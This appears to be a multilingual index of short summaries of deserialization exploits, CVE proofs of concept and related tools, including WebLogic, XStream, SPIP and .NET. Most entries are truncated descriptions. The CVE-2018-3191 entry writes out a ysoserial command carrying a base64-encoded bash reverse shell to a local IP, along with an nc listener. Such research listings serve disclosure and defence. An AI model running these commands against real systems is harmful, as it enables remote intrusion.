reFlutter

이 프레임워크는 이미 컴파일되어 앱 리패킹에 사용할 준비가 된 패치된 Flutter 라이브러리를 사용하여 Flutter 앱 리버스 엔지니어링을 돕습니다. 이 라이브러리는 스냅샷 역직렬화 프로세스가 수정되어 편리하게 동적 분석을 수행할 수 있습니다. 주요 기능: socket.cc가 트래픽 모니터링 및 가로채기를 위해 패치됨; dart.cc가 클래스, 함수 및 일부 필드를 출력하도록 수정됨; 성공적인 컴파일을 위한 사소한 변경 사항 포함; 자체 패치를 구현하려면 특수 제작된 Dockerfile을 사용하여 수동 Flutter 코드...

WLT3Serial

WLT3Serial WebLogic T3 및 T3S 리스너를 위한 네이티브 Java 기반 역직렬화 익스플로잇 여기에 개요 설명: 여기. 타사 종속성 ysoserial 및 wlthint3client가 필요합니다. JavaUnserializeExploits weblogic.py 및 loubia와 비교한 장점/단점 장점: T3/T3S 통신을 Python 스크립트로 일회성 패킷 캡처를 사용하는 대신 Java로 네이티브하게 처리하므로 대부분의 익스플로잇 방법에 대해 모든 WebLogic 서버 버전에서 작동해야 합니다. ysoserial...

CVE-2026-56158-.NET-Framework-RCE-PoC-Exploit

CVE-2026-56158 — .NET Framework リモートコード実行（RCE）PoC エクスプロイト 深刻（CVSS 9.8） — Microsoft .NET Framework & .NET Runtime における信頼されないデータの逆シリアル化（CWE-502） 修正日: 2026年7月14日 | 発見者: Positive Technologies PT-2026-60174 目次 概要 脆弱性の詳細 影響を受けるバージョン 攻撃ベクトル エクスプロイトのアーキテクチャ ファイル構成 インストール ステップバイステップの使用方法 テスト 検出とハードニング 緩和策...

CVE-2026-23001-Hugging-Face-Transformers-Model-Deserialization-Arbitrary-Code-via-Pickle-

CVE-2026-23001 – Hugging Face Transformers モデルデシリアライゼーション RCE 概要 torch.save で保存された Hugging Face モデルは、本質的に安全ではない Python の pickle シリアライゼーションを使用します。ユーザーがリポジトリから一見正規のモデルをダウンロードすると、ロード時に任意のコード実行がトリガーされ、環境全体が侵害される可能性があります。 脆弱性の詳細 種別: 安全でないデシリアライゼーション 影響: リモートコード実行 根本原因: torch.load は pickle...

CVE-2025-64512-exploit

CVE-2025-64512 - pdfminer.six リモートコード実行（RCE） 📋 説明 このリポジトリには、CVE-2025-64512 の概念実証エクスプロイトが含まれています。これは、pdfminer.six の 20251107 より前のバージョンにおける重大な脆弱性です。 この脆弱性により、攻撃者は悪意のあるPDFをアップロードすることで、Pythonの pickle.load を介した安全でない逆シリアル化を引き起こし、リモートコード実行（RCE） を達成できます。 ⚠️ 免責事項 このエクスプロイトは、教育目的および許可されたテスト目的のみに使用されます。...

CVE-2023-27372-SPIP-4.2.1-Unauthenticated-RCE-PoC

CVE-2023-27372 — SPIP SPIP 4.2.1 이전 버전의 인증되지 않은 원격 코드 실행 취약점입니다. 비밀번호 재설정 양식의 oubli 매개변수는 역직렬화 처리 오류로 인해 PHP 객체 주입에 취약합니다. 조작된 직렬화 페이로드가 웹 사용자 권한으로 서버 측에서 실행되며, 출력은 응답의 oubli 입력 필드 값에 그대로 반영됩니다. 작동 방식 1. /spip.php?page=spippass에서 anti-CSRF 토큰을 가져옵니다. 2. oubli 매개변수에 PHP 직렬화 페이로드를 주입한 POST 요청을 보냅니다...

heyserial

헤이 시리얼! 저자: Alyssa Rahman @ramen0x3f 생성일: 2021-10-27 최종 업데이트: 2021-12-02 블로그: https://www.mandiant.com/resources/hunting-deserialization-exploits 이 도구와 그 뒤에 있는 연구 과정에 대한 자세한 내용은 저희 블로그를 확인하세요! 설명 프로그래밍 방식으로 역직렬화 익스플로잇에 대한 헌팅 규칙을 생성합니다. 여러 가지 키워드 예: cmd.exe 가젯 체인 예: CommonsCollection 객체 유형 예:...

CVE-2021-29505

재현 과정 IDEA에서 xstream 구성 요소의 jar 패키지를 가져옵니다. 이번 재현에서는 CommonsCollections6 체인을 사용하여 공격을 수행하므로 commons-collections 구성 요소 jar 패키지를 가져옵니다. POC는 첨부 파일을 참조하십시오. 먼저 ysoserial을 사용하여 악성 RMI 서버를 시작하여 수신 대기하고 CommonsCollections6 체인을 사용하여 명령을 실행합니다. 다음과 같습니다: java -cp .\ysoserial.jar...

CVE-2018-3191

CVE-2018-3191 CVE-2018-3191 리버스 셸 로컬 IP：172.16.38.1 Weblogic：172.16.38.174:7001 1、 로컬 실행 java -cp ysoserial-master.jar ysoserial.exploit.JRMPListener 2222 CommonsCollections1 'bash -c echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMzguMS83Nzc3IDA+JjE=|base64,-d|bash,-i' 그런 다음 nc -lvv 7777 실행 （1） 여기서 ba...

CVE-2019-2725

POC-EXP 이 스크립트는 CVE-2019-2725weblogic 역직렬화 RCE 취약점을 대상으로 합니다. 사용 전에 VPS 수신 주소를 수정하고, 실행 시 특정 URL을 제출하면 테스트가 완료됩니다. 테스트 주소: http://192.168.209.134:49163/async/AsyncResponseService payload 매개변수의 수신 주소와 포트를 수정한 후: python CVE-2019-2725.py 실행 후 http://ip:포트번호/async/AsyncResponseService 입력...

DotNetNuke 9.2 - 9.2.2 - Weak Encryption & Cookie Deserialization

DNN DotNetNuke versions 9.2 through 9.2.2 use a weak encryption algorithm to protect input parameters because of an incomplete fix for CVE-2018-15811. This cryptographic weakness enables attackers to craft malicious DNNPersonalization cookies that can be deserialized, leading to remote code...

Jboss Application Server - Remote Code Execution

Jboss Application Server as shipped with Red Hat Enterprise Application Platform 5.2 is susceptible to a remote code execution vulnerability because the doFilter method in the ReadOnlyAccessFilter of the HTTP Invoker does not restrict classes for which it performs deserialization, thus allowing a...

XStream < 1.4.16 - Remote Code Execution

XStream before 1.4.16 is susceptible to remote code execution. An attacker who has sufficient rights can execute host commands via manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operation...

XStream <1.4.17 - Remote Code Execution

XStream before 1.4.17 is susceptible to remote code execution. An attacker can execute commands of the host by manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of...

DotNetNuke 9.2 - 9.2.1 - Weak Encryption & Cookie Deserialization

DNN DotNetNuke versions 9.2 through 9.2.1 use a weak encryption algorithm to protect input parameters. This cryptographic weakness enables attackers to craft malicious DNNPersonalization cookies that can be deserialized, leading to remote code execution. id: CVE-2018-15811 info: name: DotNetNuke...

Jenkins Pipeline Groovy Plugin <=2.63 - Insecure Deserialization

Jenkins Pipeline: Groovy Plugin workflow-cps version 2.63 and earlier contains a sandbox bypass vulnerability in CpsGroovyShell.java. During parsing, compilation, and script instantiation of CPS-transformed pipeline scripts, sandbox protections are not applied, allowing authenticated users with...

Better Search Replace < 1.4.5 - PHP Object Injection

The Better Search Replace plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 1.4.4 via deserialization of untrusted input. This makes it possible for unauthenticated attackers to inject a PHP Object. No POP chain is present in the vulnerable plugin. I...

Gladinet CentreStack < 16.4.10315.56368 Use of Hard-coded Key Leads to Unauthenticated RCE

Gladinet CentreStack through 16.1.10296.56315 fixed in 16.4.10315.56368 has a deserialization vulnerability due to the CentreStack portal's hardcoded machineKey use, as exploited in the wild in March 2025. This enables threat actors who know the machineKey to serialize a payload for server-side...

XStream <1.4.16 - Remote Code Execution

XStream before 1.4.16 is susceptible to remote code execution. An attacker can load and execute arbitrary code from a remote host via manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative...

CVE-2023-49070

ofbiz-xmlrpc-rce CVE-2023-49070 Apache OFBiz XML-RPC の認証前デシリアライゼーション RCE CVE-2023-49070 の PoC: 認証バイパス経路により、レガシーな /webtools/control/xmlrpc エンドポイントが利用可能になり、XML-RPC の パラメータ内に密輸された攻撃者制御の Java オブジェクトがデシリアライズされます。 ⚠️ 認可されたセキュリティテスト専用。 自身が所有するシステム、または明示的にテストを認可されたシステム CTF/ラボ環境、署名済みスコープのあるエンゲージメントなど...